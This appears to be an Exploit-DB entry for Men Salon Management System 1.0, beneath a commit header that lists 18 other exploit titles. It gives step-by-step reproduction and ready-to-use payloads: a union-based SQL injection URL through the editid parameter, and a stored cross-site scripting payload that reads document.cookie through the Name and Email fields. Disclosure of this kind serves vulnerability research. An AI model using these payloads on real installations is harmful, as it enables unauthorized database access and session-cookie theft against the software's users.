629e350774
18 changes to exploits/shellcodes Active WebCam 11.5 - Unquoted Service Path ECOA Building Automation System - Missing Encryption Of Sensitive Information Facebook ParlAI 1.0.0 - Deserialization of Untrusted Data in parlai ECOA Building Automation System - Hard-coded Credentials SSH Access Men Salon Management System 1.0 - Multiple Vulnerabilities ECOA Building Automation System - Weak Default Credentials ECOA Building Automation System - Path Traversal Arbitrary File Upload ECOA Building Automation System - Directory Traversal Content Disclosure ECOA Building Automation System - 'multiple' Cross-Site Request Forgery (CSRF) ECOA Building Automation System - Cookie Poisoning Authentication Bypass ECOA Building Automation System - Configuration Download Information Disclosure ECOA Building Automation System - Hidden Backdoor Accounts and backdoor() Function ECOA Building Automation System - Remote Privilege Escalation ECOA Building Automation System - Local File Disclosure ECOA Building Automation System - Arbitrary File Deletion Wordpress Plugin Download From Files 1.48 - Arbitrary File Upload Apartment Visitor Management System (AVMS) 1.0 - SQLi to RCE Windows/x64 - Reverse TCP (192.168.201.11:4444) Shellcode (330 Bytes)
30 lines
No EOL
996 B
Text
30 lines
No EOL
996 B
Text
# Exploit Title: Men Salon Management System 1.0 - Multiple Vulnerabilities
|
|
# Date: 2021-09-09
|
|
# Exploit Author: Aryan Chehreghani
|
|
# Vendor Homepage: https://phpgurukul.com
|
|
# Software Link: https://phpgurukul.com/men-salon-management-system-using-php-and-mysql
|
|
# Version: 1.0
|
|
# Tested on: Windows 10 - XAMPP Server
|
|
|
|
# Vulnerable page :
|
|
http://localhost/msms/admin/edit-customer-detailed.php?editid=
|
|
|
|
# Proof Of Concept :
|
|
# 1 . Download And install [ Men Salon Management System ]
|
|
# 2 . Go to /msms/admin/index.php and Enter Username & Password
|
|
# 3 . Navigate to >> Customer List
|
|
# 4 . In the action column, click Edit
|
|
# 5 . Enter the payload into the Url and Fields
|
|
|
|
# [ Sql Injection ] :
|
|
|
|
Vulnerable paramater :
|
|
The editid paramater is Vulnerable to sqli
|
|
|
|
GET : http://localhost/msms/admin/edit-customer-detailed.php?editid=2'+union+select+1,database(),3,4,5,6,7,8--+
|
|
|
|
# [ Stored Cross-Site Scripting ] :
|
|
|
|
Vulnerable Fields : Name & Email
|
|
|
|
Payload Used: "><script>alert(document.cookie)</script> |